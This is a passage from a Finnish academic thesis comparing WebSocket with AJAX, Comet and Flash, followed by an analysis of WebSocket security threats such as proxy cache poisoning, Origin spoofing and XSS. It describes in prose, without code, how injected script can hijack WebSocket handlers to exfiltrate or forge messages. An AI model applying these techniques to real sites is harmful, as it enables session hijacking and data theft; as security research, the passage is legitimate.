Verkkosovellukset ovat uuden muutoksen alla. Sovelluksista halutaan entistä enemmän työpöytäsovellusten kaltaisia, mikä vaatii monessa tapauksessa aktiivista tiedon päivittämistä palvelimen aloitteesta. Websocket-tekniologia kehittämisen motivaationa oli vastata tähän tarpeeseen ja tuoda avoimeen standardiin perustuva täysin kaksisuuntaisen yhteyden tekniologia verkkosovelluskehittäjille. Websocket-tekniologian on määrä korvata HTTP-protokollaan perustuvat Comet-tekniikat ainakin suuressa osassa käyttötapauksia, ja siitä on mahdollista tulla seuraava pääasiallinen protokolla verkkosovelluksissa. Websocketeilla kuten kaikilla muillakin tekniologioilla on vahvuutensa ja heikkoutensa, joten on syytä pohtia sovelluksen tarpeiden näkökulmasta, mikä protokolla tai tekniologia soveltuu siihen parhaiten. Tässä luvussa websocket-tekniologiaa verrataan toistaiseksi yleisempiin tekniikoihin.

4.1. AJAX (HTTP)

HTTP-protokollaan perustuva AJAX-tekniologia on hyvin yleisesti käytetty tekniologiajoukko verkkosovellusten kehittämisessä. AJAX:n yksityiskohdat esiteltiin kohdassa 2.6. Valtaosa nykyisistä suosituimmista verkkosovelluksista, kuten Gmail ja Facebook perustuvat AJAX-tekniologiaan [Ying and Miller, 2013]. AJAX:n suosio alkoi kasvaa Web2.0:n yleistyessä, sillä se mahdollistaa asynkronisen tiedon päivittämisen verkkosivulle. Koko sivun uudelleen lataaminen HTTP-pyynnöllä on useassa tapauksessa tehotonta ja tarpeetonta etenkin, jos vain pieni osa sivun sisällöstä tarvitsee päivittämistä. Tällä hetkellä AJAX on vakiinnuttanut paikkansa verkkosovellusten kommunikointitekniologiana, mutta websocket-tekniologia voi kuitenkin nousta haastamaan AJAX:ia verkkosovellusten oletuskommunikointitekniologiana.

Websocket-protokollan otsake on huomattavasti kevyempi kuin HTTP-protokollan, joten websocket-tekniologialla saavutetaan huomattavasti parempi suoritusteho etenkin sovelluksissa, jotka kuljettavat jatkuvasti tietoa asiakkaan ja palvelimen välillä. Websocket-protokolla tosin vaatii oman verkkopistokkeen jokaista asiakasta kohti, mutta HTTP voi helposti uudelleen käyttää yhteyksiä ja verkkopistokkeita. Yhtäaikaisten käyttäjien määrä HTTP-protokollalla voi olla suurempi kuin websocket-protokollalla. Molemmilla tekniologioilla kuljetettavan tiedon muoto voidaan määritellä sovellustasolla. Ying ja Miller [2013] ovat tutkineet AJAX:n suorituskyykyä XML- ja JSON-tietoformaattien kanssa ja todenneet, että JSON-muodossa suorituskyyky on huomattavasti parempi. Websocket-protokolla mahdollistaa myös keveiden tietoformaattien kuten JSON:n käytön.

Tietoturvan kannalta AJAX vanhempana tekniologiana on tunnetumpi ja tutkitumpi kuin websocket-tekniologia [Li *et al.*, 2014; Ritchie, 2007]. Nykyinen valtava verkkoinfrastruktuuri on

rakennettu HTTP-protokollan ehdoilla, joten käytännössä kaikki tai ainakin suurin osa tietoturvalaitteista ja -sovelluksista toimii oikein AJAX-tekniikan kanssa. WebSocket-protokolla on vielä tuntemattomampi tietoturvalaitteille [Cassetti, 2011].

WWW:n pääasiallinen arkkitehtuurityyli on nimeltään *Representational State Transfer* (REST). REST kuvaa yhdenmukaisen tavan, jolla luodaan, luetaan, päivitetään ja poistetaan tietoa, ja näiden lisäksi yhdenmukaisen globaalien osoitteiden resursseille. REST-arkkitehtuurin kehittäminen kulki käsi kädessä HTTP-protokollan version 1.1 kehityksessä, ja siksi HTTP-metodeilla on voimakas analogia REST-operaatioiden kanssa. Sovellusarkkitehtuurit kuvataan joukkona komponentteja, niiden välisiä yhteyksiä ja rajoituksia tai määräyksiä komponentteihin ja niiden välisiin yhteyksiin. REST-arkkitehtuuriin kuuluu seuraavat määritykset: asiakas-palvelin, tilan, välimuistitettava, tasoissa määritely, asiakkaan toiminnallisuuden laajentaminen ja yhdenmukainen rajapinta.

Suuri osa Internetin palveluista noudattaa REST:n kaltaista arkkitehtuuria, joten sen avulla on mahdollista rakentaa monimutkaisempia useista palveluista koostuvia järjestelmiä. REST-ajattelun yhdenmukaisuus on sen voimakkain piirre. HTTP-pohjaisilla teknologioilla voidaan helposti hyödyntää tätä valmiina olevaa voimavaraa.

REST-ajattelun semantiikkaan websocket-protokolla ei sovellu kovin luontevasti nykyisellä websocket-määrittelyllä. WebSocket-protokollan HTTP-yhteensopivuus rajoittuu ainoastaan kättelyprosessiin. WWW:n toteuttama REST perustuu voimakkaasti HTTP-protokollan metodeihin, joiden vastinetta websocket-protokollassa ei ole. WebSocket-protokollaan laajennoksien kautta on kuitenkin mahdollista lisätä HTTP-metodien kaltainen semantiikka viesteille. Lisäksi REST:n rajoituksiin kuuluu tilattomuus ja myös siten websocket-protokolla on ristiriidassa REST-ajattelun kanssa eikä websocket-protokollassa ole mekanismeja lähettää komentosarjakoodeja asiakkaalle.

WebSocket-protokollaa voidaan tosin käyttää kuljetustasona ylemmän tason protokollalle. Esimerkiksi Nakajima ja muut [2013] kehittivät järjestelmän, joka asiakkaan päässä suoritettavan välityspalvelimen kautta lähettää HTTP-protokollan kutsut websocket-yhteyden yli. Heidän mukaansa etenkin mobiililaitteilla ja -verkoilla websocketin pienempi latenssi johtuen vähennetyistä TCP-kättelyistä parantaa suorituskykyä huomattavasti. Nakajiman ja muiden kehittämän kaltaisella ohjelmistokehyksellä voidaan periaatteessa myös normaalissa selainympäristössä lähettää REST-yhteensopivia kutsuja websocket-yhteyden yli.

WebSocket-protokollaa ei varsinaisesti ole suunniteltu korvaamaan AJAX:ia. Näiden kahden tekniikan käyttötilanteen eivät ole täysin samat vaikka päällekkäisyyttä löytyy ja websocket-tekniikka on päällisin puolin suorituskyvyltään parempi. AJAX:illa voidaan myös hyödyntää olemassaolevia REST-rajapintoja. Teknologioita vertailtaessa on otettava huomioon verkkosovelluksen käyttötarkoitus ja erityisesti käyttöliittymän piirteet. AJAX toimii edelleen hyvin sovelluksissa, joissa pääasiassa tila muuttuu vain, kun käyttäjä tekee syötteen. Jos taas sovellus

tarvitsee jatkuvaa käyttöliittymän päivittämistä ilman käyttäjän syötettä, on websocket parempi ratkaisu.

4.2. Comet

Comet-tekniikat perustuvat myös HTTP-protokollaan. Niillä simuloidaan täysin kaksisuuntainen yhteys selaimen ja palvelimen välille lähettämällä asiakkaalta jatkuvasti HTTP-pyyntöjä palvelimelle. Comet on toistaiseksi yleisin kaksisuuntaisen yhteyden tekniikka verkkosovelluksissa [Rakhunde, 2014].

HTTP poll -tekniikalla asiakasohjelmasta eli selaimesta lähetetään jollakin tietyllä intervallilla t uusi HTTP-pyyntö palvelimelle tiedon päivittämiseksi. Palvelin vastaa viestiin välittömästi riippumatta siitä, onko kyselyn kohteena oleva resurssi tai tieto päivittynyt edellisestä pyynnöstä. Tästä johtuen käytännössä mahdollisesti suuri osa asiakkaan lähettämistä HTTP-pyyntöistä on turhia ja aiheuttavaa ylimääräistä prosessointia. Jos resurssin päivittymisen intervalli on entuudestaan tiedetty, voidaan asiakkaan käyttämä intervalli t synkronoida sen kanssa, jolloin on mahdollista välttää tai ainakin vähentää turhia pyyntöjä.

HTTP long-poll on periaatteeltaan HTTP poll:n kaltainen. Long-pollin tapauksessa palvelin ei välttämättä vastaa jokaiseen kyselyyn välittömästi, jos pyydetty resurssi ei ole päivittynyt. Pyynnössä muodostettu TCP-yhteys jätetään auki kunnes resurssi on päivittynyt ja vasta sitten palvelin lähettää HTTP-vastauksen, tai jokin tietty aika on kulunut. Long-poll tekniikalla palvelimen on myös tiedettävä milloin asiakkaan resurssi on viimeksi päivitetty. Resurssin päivittämisen aikaleima voidaan lähettää osana kyselyä.

Comet-ohjelmointitekniikat lisäävät tietoliikenteeseen ylimääräistä dataa, sillä jokaisen viestin on sisällettävä HTTP-otsakkeet. Otsakkeen koko vaihtelee, mutta joissakin tapauksissa se voi olla jopa 2000 tavua [Rakhunde, 2014]. Otsakkeiden koolle ei ole määriteltyä ylärajaa, mutta usein HTTP-palvelimet asettavat omat rajoituksensa. Sovellustasolla ei myöskään voida vaikuttaa siihen mitkä HTTP-otsakkeet liitetään pyyntöihin, jolloin on mahdollista, että pyynnöissä kulkee tarpeettomia otsakkeita.

Jos esimerkiksi pelkän tulevan ja lähtevän HTTP-otsakkeen koko on 100 tavua ja kyselyintervallin t :n arvo on 1 sekunti, ja yhtäaikaisten asiakkaiden lukumäärä on 500, saadaan yhden päivityspyynnön suuruudeksi pelkästään HTTP-otsakkeilla $500 * 100t * 1s * 2 = 100000 t/s$. Luku kerrotaan kahdella, sillä yhteen päivityspyyntöön kuuluu kaksi HTTP-viestiä. Websocket-protokollan määrittelemän viestikehyksen koko vaihtelee 2–16 tavun välillä, jolloin maksimikoolla vastaavan tietoliikenteen otsakkeiden aiheuttama tietoliikenne on $500 * 16t * 1s = 8000t/s$. Myös Rakhunde [2014] osoittaa, että websocket-protokollan viestikehyksestä aiheutuva tietoliikenne on useita kertaluokkia pienempi kuin HTTP-poll -menetelmiin perustuvan liikenteen.

Websocket-teknologia suorituskyvyn näkökulmasta on ylivoimainen verrattuna Comet-tekniikoihin. Useat eri sovellusalojen tutkimukset ovat päätyneet käyttämään websocketteja

[Lomotey *et al.*, 2012; Chen ja Xu, 2011]. Comet-tekniikat kuitenkin voivat löytää oman paikkansa myös tulevaisuudessa sellaisissa verkkosovelluksissa, jotka tarvitsevat palvelimelta tietyin väliajoin päivitettyä tietoa, mutta eivät ole kovin vaativia suoritusnopeuttaan. Lisäksi REST-arkkitehtuurin mukailemisesta on huomattavaa hyötyä.

Websocket-teknologia tulee varmasti korvaamaan Comet-tekniikat useilla sovellusaloilla. Reaaliaikaista tiedonpäivitystä vaativia verkkosovelluksia käytetään useilla teollisuudenaloilla ja etenkin selainpohjaiset pelit tulevat hyötymään paljon websocket-teknologiasta [Rakhunde, 2014 ; Pimentel ja Nickerson, 2012; Lomotey *et al.*, 2012, Chen ja Xu, 2011].

4.3. Kolmansien osapuolien teknologiat

Aiemmin esiteltyjen ratkaisujen lisäksi kolmansien osapuolien kehittämiä selainlaajennosratkaisuja (engl. plugin) käytetään verkkosovellusten kehittämisessä. Tunnettu esimerkki on Adoben kehittämä Flash-tekniikka, johon kuuluvalla rajapinnalla voidaan avata täysin kaksisuuntainen yhteys. Rajapinnalla muodostettava yhteys tehdään TCP-protokollan yli, mutta rajapinta ei paljasta puhdasta TCP-rajapintaa sovellustasolle. Flashin rajapintadokumentointin mukaan ActionScript-socket -rajapinnan kautta voi lähettää ainoastaan binäärimuodossa olevaa dataa.

Palomuurien ja muiden internetin välityspalvelimien kanssa voi esiintyä ongelmia kolmansien osapuolien teknologioiden kanssa, sillä ne eivät noudata standardeja portteja. Lisäksi välityspalvelimet eivät välttämättä käyttäydy odotetusti tunnistamattomien protokollien käsittelyssä.

Zhu ja muut [2012] kehittivät websocket-protokollan ja muihin HTML5-tekniikoihin perustuvan videokameravalvontasovelluksen. Heidän mukaansa websocket-protokolla valittiin esimerkiksi Flashin sijaan siksi, että avoimeen standardiin perustuva protokolla tulee todennäköisesti saamaan laajempaa ja jatkuvaa tukea ohjelmistovalmistajilta. Zhu ja muut ja Zhang [2012] myös raportoivat, että useimmat selainkehittäjät tulevat luopumaan Flashin tukemisesta lähitulevaisuudessa.

5. Websockettien tietoturva

Tietoturvan näkökulmasta websocket-protokollaa on syytä tarkastella huolellisesti. Protokolla on vielä verrattain nuori, ja vaikka websocket-teknologiaa hyödyntäviä sovelluksia kehitetään yhä enemmän, on protokolla silti vielä melko tuntematon sekä sovelluskehittäjille että tietoturvasiantuntijoille [Zhang, 2012]. Huolimatta tietoturva tietoisuuden leviämisestä ja alan kasvusta, verkkosivuhaavoittuvuudet ovat hyvin yleisiä [Tripp, 2013]. Yleisimmät tietoturvaan liittyvät haavoittuvuudet etenkin verkkosivupohjaisissa sovelluksissa ovat riippumattomia siitä, mitä yhteysprotokollaa sovellus käyttää kommunikointiin palvelimen kanssa sovellustasolla. Websocket-protokolla kuitenkin mahdollistaa uusia hyökkäysvektoreita, joita ei yleisesti tunneta kovin hyvin. Websocket-teknologian ja yleisten haavoittuvuuksien hyväksikäytöt sekä suorat verkkohyökkäykset altistavat sovelluksia monin tavoin ja monella vakavuustasolla pienestä kiusanteosta aina arkaluontoisen tiedon menettämiseen ja palveluiden käytön estämiseen, joista voi koitua taloudellista haittaa.

Websocket-protokollamääritelmä huomioi seuraavaa tietoturvaseikoista. Vaikka protokolla on alun perin suunniteltu käytettäväksi pääasiassa selainohjelmissa, sitä ei ole sidottu millään tavalla pelkästään selainympäristöön. Muut asiakasohjelmat tuovat mukanaan tietoturvaseikkoja, jotka on syytä huomioida. Kättelyn yhteydessä lähetettävän Origin-otsakkeen on tarkoitus antaa palvelimelle mahdollisuus karsia yhteyksiä muista kuin luotetuista lähteistä, mutta tämä otsake on hyvin helppo väärentää asiakasohjelmassa. Otsaketta ei siis tule pitää täysin luotettavana, mikä on otettava huomioon palvelinsovelluksessa. Selaimesta peräisin olevista kättelyviesteistä Origin-otsake löytyy aina. Palvelinohjelma voi rajata yhteyden muodostamisen vain luotetuiksi katsotuista lähteistä. Otsakkeen tarkistaminen jää kuitenkin ohjelmistokehittäjän vastuulle, sillä protokolla itse ei ota kantaa tämän otsakkeen sisältöön.

Protokolla on suojattu välityspalvelimia kohtaan tehtyjä hyökkäyksiä vastaan varsinaisen viestisisällön naamioimisella. Välityspalvelimien ja muiden verkkoinfrastruktuuriin kuuluvien välittäjien käyttämää välimuistia voidaan manipuloida tehtailemalla niin sanottuja välityspalvelimen välimuistin saastuttamishyökkäyksiä (engl. proxy cache poisoning). Jos asiakas ei itse pysty ennustamaan viestin sisältöä, ei se myöskään pysty syöttämään haitallista dataa välityspalvelimen muistiin. Tästä syystä websocket-protokolla käyttää satunnaista maskausavainta viestien sisällön sekoittamiseen. Välityspalvelinten saastuttaminen käsitellään kohdassa 6.2.

Monet välityspalvelimet, palomuurit ja muu infrastruktuuri eivät myöskään tunne websocket-protokollaa ja siksi ne voivat käyttäytyä odottamattomalla tavalla käsitellessään websocket-liikennettä ja myös HTTP-kättelypyyntöä [Kulshrestha, 2013; Cassetti, 2011]. Ennen kuin protokolla yleistyy ja sitä tukevaa infrastruktuuria on laajemmin verkossa on syytä varautua juuri

välityspalvelimien epäluotettavaan käyttäytymiseen. Tästä syystä websocket-liikenne on syytä kryptata TLS-tasolla silloinkin, kun viestiliikenteeseen ei kuulu arkaluontoista informaatiota. Tiedon kryptaaminen estää välikäsiä lukemasta tietoa ja välityspalvelimien väärinkäytöksiä. TLS-taso kryptaa myös websocket-viestin otsakkeen, jolloin välityspalvelimet eivät vahingossa tee virheellisiä operaatioita.

Joissain websocket-protokollan toteuttavissa ympäristöissä voi olla tiettyjä rajoituksia, jotka voivat vaarantaa tieturvaa ja avata kulmia hyökkäyksille. Esimerkiksi rajaamatonta viestipituutta voidaan hyödyntää palvelunestohyökkäyksissä, joilla pyritään täyttämään uhrin keskusmuisti. Toteuttavien tahojen tulee itse suojaautua tämänkaltaisilta hyökkäyksiltä.

Yhteyden salaamiseen protokolla hyödyntää myös olemassa olevia tekniikoita. Protokollasta määritelty salattu versio wss:// suojataan TLS-suojatasolla. Tässä tapauksessa tiedon integriteetti riippuu käytetystä TLS-suojauksesta, jonka on osoitettu olevan luotettava [Gajek *et al.*, 2008]. Viestien sisältö on myös maskattu, mutta maskaamisella ei saavuteta luotettavaa salausta, sillä maskausavain liitetään selkokielenä viestinotsakkeeseen. Minkä tahansa manipuloivan välittäjän on triviaalia lukea suojaamaton viesti ja käyttää tunnettua maskausalgoritmia viestin lukemiseen.

Molempien vastaanottavien päätepisteiden tulee validoida kaikki liikenne ja sulkea yhteys, jos vastaanotettu viesti rikkoo määritelmän mukaisia vaatimuksia. Kättelyssä tapahtuneeseen virheeseen palvelimen tulee vastata sopivalla HTTP-virheellä. Kättelyn jälkeen websocket-liikenteen aikana tapahtuneeseen protokollavirheeseen vastataan ensin sopivalla sulkemisviestillä, joka sisältää virhekoodin ja sen jälkeen yhteys suljetaan.

Verkkoturvallisuuden peruseriaatteisiin kuuluu niin sanottu sama-lähde -periaate (engl. same-origin policy), joka tarkoittaa, että vain samasta lähteestä peräisin olevien dokumenttien sallitaan olevan yhteydessä toistensa kanssa. Periaatteen mukaan kahden lähteen katsotaan olevan sama, jos ja vain jos niillä on sama isäntä, sama portti ja sama protokolla. Tämä periaatteessa tarkoittaa myös sitä, että esimerkiksi tietystä isännästä peräisin oleva komentosarjakoodi voisi avata websocket-yhteyden vain siihen isäntään, josta koodi on peräisin. Sama-lähde -periaate on tosin useassa tapauksessa liian rajoittava, etenkin suurten verkkosovellusten tapauksessa, joihin on syytä hakea komponentteja useasta lähteestä. Periaatteeseen on mahdollista tehdä poikkeuksia. Haetun resurssin tai dokumentin HTTP-otsakkeeseen voidaan lisätä otsake Accept-Origin, joka sallii siinä listatuista isännistä peräisin olevien dokumenttien käsitellä alkuperäistä dokumenttia. Sama-lähde -periaatetta lieventävästä mallista käytetään nimitystä *Cross-Origin Resource Sharing* (CORS). CORS-menetelmä on virallisesti W3C:n määrittelemä.

Stamm ja muut [2010] ehdottavat sama-lähde -periaatetta mukailevan turvallisuusmallin, jolla voidaan estää tietoturva-aukkojen hyväksikäyttäminen. He nimeävät mallinsa Content Security Policyksi.

Websocket-protokollamääritelmän ei-normatiivisessa osassa mainitaan, että protokolla noudattaa esiteltyä sama-lähde -periaatetta. Määritelmä ei kuitenkaan johdannon jälkeen osoita kuinka periaate toteutuu protokollassa, ja käytännön kokeiden perusteella periaatteen noudattaminen ei tapahdu [Stamm *et al.*, 2010; Bielova, 2013; Kulshrestha, 2013]. Tämän tutkielman kokeellisessa osassa todettiin, että käytetyt versiot testatuista selaimista (Opera 12.17, Google Chrome 35.0.1916.114 m) eivät estä websocket-yhteyksiä luottamattomiin isäntiin. Websocket-protokolla ja -ohjelmointirajapinta eivät siis toteuta sama-lähde -periaatetta, ja tämä on otettava huomioon palvelinsovelluksen tietoturvamäärityksessä.

Seuraavaksi paneudutaan tarkastelemaan tietoturvaan liittyviä yksityiskohtia. Aluksi tarkastellaan käyttäjän tunnistamiseen liittyviä seikkoja yleisesti ja websocket-protokollan kannalta. Kohdissa 5.2 – 5.8 paneudutaan tarkastelemaan yleisimpiä haavoittuvuuksia verkkosovelluksissa ja sitä millä tavoin websocket-teknologiaa voidaan käyttää hyväksi verkkohyökkäyksissä. Internetissä julkaistava OWASP-projekti (Open Web Application Security Project) ylläpitää vuosittain päivitettävää listaa yleisimmistä ja haitallisimmiksi katsotuista haavoittuvuuksista. OWASP on itsenäinen hyväntekeväisyysjärjestö, joka on perustettu vuonna 2001. Vuonna 2013 OWASP:n kymmenen kärjen listalla oli useimmat seuraavissa kohdissa esitettävistä haavoittuvuuksista.

5.1. Käyttäjän tunnistaminen

Alkuperäinen staattinen ja tilaton WWW ei tarvinnut minkäänlaista käyttäjän tunnistamista, koska sen perimmäinen tarkoitus oli jakaa tietoa kaikille, ei salata tai rajata sitä vain tietyille käyttäjille. HTTP-protokollaan lisättiin myöhemmin menetelmiä käyttäjän tunnistamiseen hyödyntäen HTTP-protokollan joustavaa otsakemääritystä. Nykyisin lähes poikkeuksetta verkkosovelluksissa käyttäjän tunnistamiseen käytetään HTTP-evästeitä. Pääpiirteissään tunnistaminen tapahtuu siten, että käyttäjä lähettää HTTP-lomakkeella (tai muulla tekniikalla, kuten AJAX:lla) tunnus ja salasana -parin palvelimelle, jonka validoimisen seurauksena palvelin lähettää vastauksessa yksilöivän tunniste. Tunniste tallennetaan selaimen evästeisiin, ja se liitetään jokaiseen samaan isäntään lähetettävään pyyntöön. Palvelin luo uuden istunnon tunnistetulle käyttäjälle ja liittää tunniste istuntoon, jotta seuraavat pyynnöt voidaan osoittaa oikeaan istuntoon. Istunto voi olla käynnistetty palvelinprosessi.

Käyttäjän tunnistaminen yleisesti on ollut useiden tutkimusten kohteena [Bonneau *et al.*, 2012; Adida, 2007]. Käyttäjätunnus ja salasana on toimiva tapa tunnistamiseen, mutta uusien teknologioiden kehittyessä käyttäjän tunnistamisen menetelmiä on alettu hakea muualtakin. Bonneau ja muut vertailevat vaihtoehtoisia menetelmiä käyttäjän tunnistamiseen ja tarjoavat viitekehysten menetelmien arvioimiseen.

Websocket-protokollaan ei ole määritelty erillistä mekanismia tai teknologiaa käyttäjän tunnistamiseen, vaan se tunnistuksessa ja autorisoinnissa tukeutuu HTTP-pohjaisiin

tunnistusmenetelmiin. Tunnistustiedot lähetetään websocket-kättelypyynnössä tavanomaisina HTTP-otsakkeina.

Websocket-viestit eivät sisällä HTTP-otsakkeita, joten ne eivät myöskään sisällä tunnistusinformaatiota. Laajennoksilla on tosin mahdollista lisätä viesteihin myös tunnistetietoa lisäämään tietoturvaa. Websocket-kättely on siis kriittinen osa käyttäjän tunnistamista ja siten koko yhteyden luotettavuutta. Seuraavissa kohdissa esitetään, miten ulkopuolinen hyökkääjä voi päästä kättelyyn käsiksi hyödyntäen tunnettuja verkkohaavoittuvuuksia. Vaikka kättelyprosessia olisi edeltänyt onnistunut käyttäjän tunnistaminen esimerkiksi käyttäjätunnus ja salasana parilla, on mahdollista, että websocket-yhteys voidaan kaapata. Yhteys on mahdollista avata luottamattomasta lähteestä peräisin olevalla komentosarjakoodilla, jolloin myös hyökkääjä pääsee käsiksi tunnistetietoihin.

Evästeiden sijaan käyttäjän tunnistamiseksi kirjautumisen jälkeen voidaan todentaa tunnistevaimella (engl. token). Tunnisteavain on ainoastaan palvelimen tiedossa oleva merkkijono, joka lähetetään asiakkaalle onnistuneen autentikoinnin yhteydessä. Avainta ei tallenneta selaimen pysyvään muistiin, vaan se säilyy ainoastaan hetken aikaa asiakkaan tietokoneen keskusmuistissa. Avain lähetetään websocket-kättelyssä takaisin palvelimelle, joka voi todentaa pyynnön aitouden. Koska websocket-yhteys on jatkuva, ei avainta enää tarvita yhteyden avaamisen jälkeen. Avainta ei missään vaiheessa tallenneta selaimen evästeisiin, joten hyökkääjät eivät pääse hyödyntämään sitä yleisesti tunnetuilla hyökkäysmenetelmillä. Tunnisteavaimeen perustuva käyttäjän tunnistaminen on turvallisempi vaihtoehto evästeisiin verrattuna websocket-tekniikan kannalta.

Koska websocket-protokolla on tilallinen, avaa se enemmän mahdollisuuksia tunnistetun käyttäjän aloittamaan istuntoon. HTTP-tunnistautumismenetelmien tuomasta monimutkaisuudesta voidaan päästä eroon.

Jos websocket-protokolla alkaa etääntymään HTTP:stä ja sen kättelyprosessi muuttuu, voidaan käyttäjän tunnistaminen suorittaa muilla menetelmillä suoraan kättelyn yhteydessä ilman HTTP-otsakkeita. HTTP-otsakkeihin perustuva tunnistaminen on aina tiettyjen haavoittuvuuksien armoilla. Websocket-protokollan tunnistautuminen voisi tapahtua SSH-protokollan kaltaisella prosessilla.

5.2. Välityspalvelinten välimuistin saastuttaminen

Verkkoinfrastruktuuriin kuuluvat välityspalvelimet voivat myös olla hyökkäysten kohteina ja niiden toimintaa voidaan manipuloida muita isäntiä vastaan tehtyjen hyökkäysten mahdollistamiseksi. Välityspalvelimet tallentavat usein välimuistiin niiden kautta kulkeneita viestejä verkkoliikenteen tehostamiseksi. Yleinen tapa on tutkia asiakkaalta tulleiden HTTP-pyyntöjen otsakkeita ja palvelimen vastauksen sisältöä. Usein toistuvat täsmälleen samat otsakkeet ja niiden arvot sisältävät vastausviestit tallennetaan välimuistiin.

Välityspalvelimen välimuisti on mahdollista saastuttaa haitallisella komentosarjakoodilla. Asiakkaalle välityspalvelimen välimuistista saapuva HTTP-vastaus näyttäytyy saapuvan luotettavasta lähteestä, jolloin se saa selaimessa luotetun lähteen oikeudet. Välimuistiin on mahdollista syöttää mielivaltaista sisältöä siten, että hyökkääjä manipuloi välityspalvelimen kautta kulkevaa tietoliikennettä näyttämään siltä, että vastaukset saapuvat luotetulta isännältä. Hyökkääjä aloittaa viestiyhteyden selaimesta hallitsemaalleen palvelimelle. Viestien varsinainen sisältö tehtaillaan näyttämään normaalilta HTTP-protokollan mukaiselta viestienvaihdolta luotetun isännän ja selaimen välillä, vaikka todellisuudessa viestit kulkevat hyökkääjän palvelimelle. Hyökkääjän palvelin voi asettaa viestien sisällön mielivaltaisesti. Sisältö voi olla esimerkiksi haitallinen komentosarjakoodi, joka jää välityspalvelimen välimuistiin. Välityspalvelin välittää tietämättään haitallisen koodin kaikille sen kautta pyynnön lähettäneille selaimille.

Websocket-protokollamääritelmän mukaan kaikki asiakkaalta lähtevien viestien varsinaisen sisältö naamioidaan. Maskausavain on määritelmän mukaan valittava satunnaisgeneraattorilla, jonka lähteen entropia on oltava tarpeeksi suuri, jotta seuraavaa avainta ei ole mahdollista päätellä. Koska asiakas ei voi tietää lähtevien viestien täsmällistä sisältöä, ei välityspalvelinten välimuistin manipulointia voida toteuttaa websocket-protokollalla.

5.3. Cross-site scripting

Cross-site scripting, usein lyhennettynä XSS, on ollut eräs yleisimmistä verkkohaavoittuvuuksista [Bielova, 2013]. XSS-haavoittuvuus syntyy kun luotettuun verkkosivuun saadaan syötettyä haitallinen komentosarjakoodi. Haavoittuvuuden yleisin syy on se, että käyttäjiltä tulevaa syötettä ei sanitoida kunnolla. Paha-aikainen käyttäjä voi ujuttaa esimerkiksi keskustelufoorumien viestiin HTML-elementtejä, jotka viittaavat haitalliseen komentosarjakoodiin.

XSS-haavoittuvuus voidaan jakaa kolmeen tyyppiin, jotka vaikuttavaat hyökkäyksen laajuuteen [Shahriah and Zulkerine, 2009]. Tallennetussa (käytetään myös nimitystä Type-I XSS) XSS-haavoittuvuudessa injektoitava komentosarjakoodi tallentuu pysyvästi kohdepalvelimen muistiin, esimerkiksi tietokantaan tai muuhun välimuistiin. Tällaisia tapauksia ovat esimerkiksi keskustelufoorumit ja blogien kommenttikentät. Uhri saa haitallisen komentosarjakoodin luotetulta isännältä luotetun HTTP-pyyntönsä yhteydessä.

Reflektoidussa haavoittuvuudessa (Type-II XSS) komentosarjakoodi ei jää pysyvästi palvelimelle, vaan se ainoastaan välitetään uhrille palvelimen kautta. Näin voi tapahtua esimerkiksi virheviestissä, tulossaussa tai missä tahansa viestissä, joka sisältää tietoa, jonka alkuperä on palvelimelle lähetetyssä pyynnössä. Lopputuloksena komentosarjakoodi joka tapauksessa näyttäytyy luotettavana sen vastaanottajalle.

DOM-pohjainen cross-site scripting haavoittuvuus (Type-0 XSS) eroaa hieman kahdesta edellisestä. Haitallista komentosarjakoodia ei välitetä palvelimen kautta, vaan se injektoidaan

esimerkiksi URL-parametrina uhrin selaimeen. Injektoitu komentosarjakoodi päättyy ajettavaksi JavaScriptin DOM-tapahtumien prosessoinnin kautta.

Cross-site scripting -haavoittuvuus on yleisyydestään johtuen ollut useiden tutkimusten kohteena ja sen olemassaolon havaitsemiseksi ja estämiseksi on kehitetty useita menetelmiä [Shahriah and Zulkerine, 2009; Wasserman and Su, 2008; Kirda *et al.*, 2006]. Haavoittuvuuden havaitseminen ei ole triviaalia, sillä se voi esiintyä usealla eri tavalla.

Wasserman ja Su [2008] esittelevät staattiseen analyysiin perustuvan testin, joka tarkastaa syötteen validoimisen. Shahriah ja Zulkerine puolestaan [2009] osoittavat, että pelkkään staattiseen analyysiin perustuva testaus tuottaa vääriä hälytyksiä ja yhdessä dynaamisen eli ajonaikaisen testaamisen kanssa saadaan tuotettua tarkempia tuloksia. Shahriah ja Zulkerine myös esittelevät menetelmän, jolla testattavaan sivuun syötetään mutaatioiden kautta generoituja haavoittuvuuksia, joita yksitellen eliminoimalla saadaan havaittua mahdollisia haavoittuvuuksia. Näin tuotetaan kattava testitapausten joukko cross-site scripting -haavoittuvuuden havaitsemiseksi.

Etenkin Shahriahin ja Zulkerinen kehittämän menetelmän kaltaisia menetelmiä on mahdollista ja syytä käyttää myös websocket-teknologiaa käyttävien sovellusten testaamiseen. Testimenetelmää voidaan myös laajentaa huomioimaan websocket-rajapinnan tuomat muutokset. Shahriahin ja Zulkerinen tutkimuksessa käytettiin viittä JavaScript-operaattoria mutaatioiden perustana. Samaa ajattelua voidaan laajentaa testaamaan websocket-rajapinnan kutsuja, vaikka websocket-funktiot eivät suoraan muokkaa dokumentti mallia.

Websocket-protokollan kannalta cross-site scripting -haavoittuvuus avaa mahdollisuuden kiertää monet protokollan turvatekijöistä, ja siten sitä voidaan käyttää pohjana useille hyökkäyksille. Haavoittuvuudella hyökkääjä pystyy suorittamaan mielivaltaisen ennalta kirjoitetun komentosarjakoodin uhrin selaimessa. Komentosarjakoodilla on mahdollista joko ylikirjoittaa websocket-rajapinnan funktiot tai avata uusi websocket-yhteys hyökkääjän hallussa olevaan palvelimeen. Liitteen 1. esimerkkiohjelmalla on todennettu molemmat näistä skenaarioista.

Viestien haltuun saamiseksi hyökkääjä voi injektoidulla komentosarjakoodilla lisätä uuden tapahtumakuuntelijafunktion avattuun websocket-yhteyteen tai kokonaan ylikirjoittaa websocket-rajapinnan funktion `onmessage()`. Ylikirjoittamalla funktio verkkosovelluksen alkuperäinen toiminta estyy. Hyökkääjä pääsee siis kiertämään käyttäjän tunnistamisen ja viestien salaamisen. Arkaluonteisen informaation hyökkääjä voi esimerkiksi lähettää omalle palvelimelleen.

Injektoidulla komentosarjakoodilla on mahdollista myös lähettää mielivaltaista tietoa suojatulle palvelimelle uhrin nimissä vastaavalla tavalla. Tällä kertaa hyökkääjä ylikirjoittaa funktion `sendmessage()`. Palvelimen näkökulmasta haitallisesta komentosarjakoodista lähetetyt viestit eivät eroa millään tavalla oikeista viesteistä. Viestien lähettäminen voi tapahtua käyttäjän tunnistuksen jälkeen, jolloin viestien oletetaan tulevan tunnistetulta käyttäjältä, ja viestit kulkevat myös saman TLS-kryptauksen yli jos sellainen määriteltiin kättelyssä.

